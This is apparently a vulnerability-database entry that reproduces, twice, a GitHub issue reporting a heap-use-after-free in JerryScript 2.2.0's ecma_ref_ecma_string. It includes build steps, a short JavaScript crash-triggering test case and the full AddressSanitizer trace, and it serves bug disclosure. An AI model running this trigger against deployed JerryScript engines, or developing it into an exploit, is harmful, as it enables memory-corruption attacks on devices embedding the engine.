There is a heap-use-after-free at ecma-helpers-string.c:772 in ecma_ref_ecma_string in JerryScript 2.2.0
cpe:2.3:a:jerryscript:jerryscript:2.2.0:*:*:*:*:*:*:*
88EBD351-0E34-480A-906A-603AC3920FBF
OR

###### JerryScript revision
bd1c4df

###### Build platform
Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64)

###### Build steps
python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --lto=off --error-message=on --system-allocator=on

###### Test case
var o = []

function add(i)
{
  delete o[i & 31];
  new RegExp([
  '"\\u',
], "g").exec(1);
}

for (var i = 0; i < 130; i++)
{
  add(i)
}

###### Output
=================================================================
==97694==ERROR: AddressSanitizer: heap-use-after-free on address 0xf61005b0 at pc 0x080605b2 bp 0xff856d28 sp 0xff856d18
READ of size 4 at 0xf61005b0 thread T0
    #0 0x80605b1 in ecma_ref_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:772
    #1 0x808ef54 in ecma_regexp_create_props /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:144
    #2 0x808f562 in ecma_op_regexp_initialize /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:322
    #3 0x808f850 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:393
    #4 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179
    #5 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223
    #6 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160
    #7 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229
    #8 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849
    #9 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151
    #10 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #11 0x8083ff1 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:886
    #12 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #13 0x80b75f1 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:764
    #14 0x80c2de5 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4130
    #15 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #16 0x80b6f6a in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:321
    #17 0x804e249 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:596
    #18 0x804ad3f in main /home/jerryscript/jerry-main/main-unix.c:759
    #19 0xf7875636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #20 0x8049030  (/home/jerryscript/build/bin/jerry+0x8049030)

0xf61005b0 is located 0 bytes inside of 15-byte region [0xf61005b0,0xf61005bf)
freed by thread T0 here:
    #0 0xf7aa9a84 in free (/usr/lib32/libasan.so.2+0x96a84)
    #1 0x8095b14 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:476
    #2 0x8095eac in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:685
    #3 0x80c3453 in ecma_dealloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:208
    #4 0x806096f in ecma_destroy_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:844
    #5 0x8060740 in ecma_deref_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:816
    #6 0x808f7e1 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:384
    #7 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179
    #8 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223
    #9 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160
    #10 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229
    #11 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849
    #12 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151
    #13 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #14 0x8083ff1 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:886
    #15 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #16 0x80b75f1 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:764
    #17 0x80c2de5 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4130
    #18 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #19 0x80b6f6a in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:321
    #20 0x804e249 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:596
    #21 0x804ad3f in main /home/jerryscript/jerry-main/main-unix.c:759
    #22 0xf7875636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

previously allocated by thread T0 here:
    #0 0xf7aa9dee in malloc (/usr/lib32/libasan.so.2+0x96dee)
    #1 0x809581b in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254
    #2 0x80958eb in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:289
    #3 0x809596a in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:323
    #4 0x8066032 in ecma_stringbuilder_create_from /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:2456
    #5 0x80c8f17 in ecma_builtin_array_prototype_join /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:368
    #6 0x80cd66a in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2653
    #7 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095
    #8 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119
    #9 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782
    #10 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #11 0x80c885f in ecma_builtin_array_prototype_object_to_string /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:151
    #12 0x80cd4d5 in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2596
    #13 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095
    #14 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119
    #15 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782
    #16 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #17 0x80877f8 in ecma_op_general_object_ordinary_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:324
    #18 0x8087718 in ecma_op_general_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:289
    #19 0x808bc85 in ecma_op_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1720
    #20 0x80803b5 in ecma_op_to_primitive /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:199
    #21 0x80809c0 in ecma_op_to_string /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:413
    #22 0x809322a in ecma_regexp_read_pattern_str_helper /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1618
    #23 0x808f694 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:352
    #24 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179
    #25 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223
    #26 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160
    #27 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229
    #28 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849
    #29 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151

SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:772 ecma_ref_ecma_string
Shadow bytes around the buggy address:
  0x3ec20060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec20070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ec200b0: fa fa fa fa fa fa[fd]fd fa fa fd fa fa fa fd fa
  0x3ec200c0: fa fa 00 07 fa fa 00 05 fa fa 00 07 fa fa fd fd
  0x3ec200d0: fa fa 00 00 fa fa 00 05 fa fa 00 05 fa fa 00 07
  0x3ec200e0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x3ec200f0: fa fa 00 00 fa fa 00 00 fa fa 00 06 fa fa 00 00
  0x3ec20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==97694==ABORTING


Credits: This vulnerability is detected by chong from OWL337.


heap-use-after-free in the ecma_ref_ecma_string
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : heap-use-after-free in the ecma_ref_ecma_string
Issue date:

--- start body ---

###### JerryScript revision
bd1c4df

###### Build platform
Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64)

###### Build steps
python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --lto=off --error-message=on --system-allocator=on

###### Test case
var o = []

function add(i)
{
  delete o[i & 31];
  new RegExp([
  '"\\u',
], "g").exec(1);
}

for (var i = 0; i < 130; i++)
{
  add(i)
}

###### Output
=================================================================
==97694==ERROR: AddressSanitizer: heap-use-after-free on address 0xf61005b0 at pc 0x080605b2 bp 0xff856d28 sp 0xff856d18
READ of size 4 at 0xf61005b0 thread T0
    #0 0x80605b1 in ecma_ref_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:772
    #1 0x808ef54 in ecma_regexp_create_props /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:144
    #2 0x808f562 in ecma_op_regexp_initialize /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:322
    #3 0x808f850 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:393
    #4 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179
    #5 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223
    #6 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160
    #7 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229
    #8 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849
    #9 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151
    #10 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #11 0x8083ff1 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:886
    #12 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #13 0x80b75f1 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:764
    #14 0x80c2de5 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4130
    #15 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #16 0x80b6f6a in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:321
    #17 0x804e249 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:596
    #18 0x804ad3f in main /home/jerryscript/jerry-main/main-unix.c:759
    #19 0xf7875636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #20 0x8049030  (/home/jerryscript/build/bin/jerry+0x8049030)

0xf61005b0 is located 0 bytes inside of 15-byte region [0xf61005b0,0xf61005bf)
freed by thread T0 here:
    #0 0xf7aa9a84 in free (/usr/lib32/libasan.so.2+0x96a84)
    #1 0x8095b14 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:476
    #2 0x8095eac in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:685
    #3 0x80c3453 in ecma_dealloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:208
    #4 0x806096f in ecma_destroy_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:844
    #5 0x8060740 in ecma_deref_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:816
    #6 0x808f7e1 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:384
    #7 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179
    #8 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223
    #9 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160
    #10 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229
    #11 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849
    #12 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151
    #13 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #14 0x8083ff1 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:886
    #15 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #16 0x80b75f1 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:764
    #17 0x80c2de5 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4130
    #18 0x80c32fb in vm_run /home/jerryscript/jerry-core/vm/vm.c:4232
    #19 0x80b6f6a in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:321
    #20 0x804e249 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:596
    #21 0x804ad3f in main /home/jerryscript/jerry-main/main-unix.c:759
    #22 0xf7875636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

previously allocated by thread T0 here:
    #0 0xf7aa9dee in malloc (/usr/lib32/libasan.so.2+0x96dee)
    #1 0x809581b in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254
    #2 0x80958eb in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:289
    #3 0x809596a in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:323
    #4 0x8066032 in ecma_stringbuilder_create_from /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:2456
    #5 0x80c8f17 in ecma_builtin_array_prototype_join /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:368
    #6 0x80cd66a in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2653
    #7 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095
    #8 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119
    #9 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782
    #10 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #11 0x80c885f in ecma_builtin_array_prototype_object_to_string /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:151
    #12 0x80cd4d5 in ecma_builtin_array_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2596
    #13 0x807aa06 in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1095
    #14 0x807abac in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1119
    #15 0x8083dce in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:782
    #16 0x8084716 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1085
    #17 0x80877f8 in ecma_op_general_object_ordinary_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:324
    #18 0x8087718 in ecma_op_general_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:289
    #19 0x808bc85 in ecma_op_object_default_value /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1720
    #20 0x80803b5 in ecma_op_to_primitive /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:199
    #21 0x80809c0 in ecma_op_to_string /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:413
    #22 0x809322a in ecma_regexp_read_pattern_str_helper /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1618
    #23 0x808f694 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:352
    #24 0x80dd0ed in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:179
    #25 0x80dd154 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:223
    #26 0x807ae83 in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1160
    #27 0x8084a81 in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1229
    #28 0x80b7b62 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:849
    #29 0x80c2df8 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4151

SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:772 ecma_ref_ecma_string
Shadow bytes around the buggy address:
  0x3ec20060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec20070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ec200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ec200b0: fa fa fa fa fa fa[fd]fd fa fa fd fa fa fa fd fa
  0x3ec200c0: fa fa 00 07 fa fa 00 05 fa fa 00 07 fa fa fd fd
  0x3ec200d0: fa fa 00 00 fa fa 00 05 fa fa 00 05 fa fa 00 07
  0x3ec200e0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x3ec200f0: fa fa 00 00 fa fa 00 00 fa fa 00 06 fa fa 00 00
  0x3ec20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==97694==ABORTING


Credits: This vulnerability is detected by chong from OWL337.


--- end body ---

comments :
--- start comments ---

--- end comments ---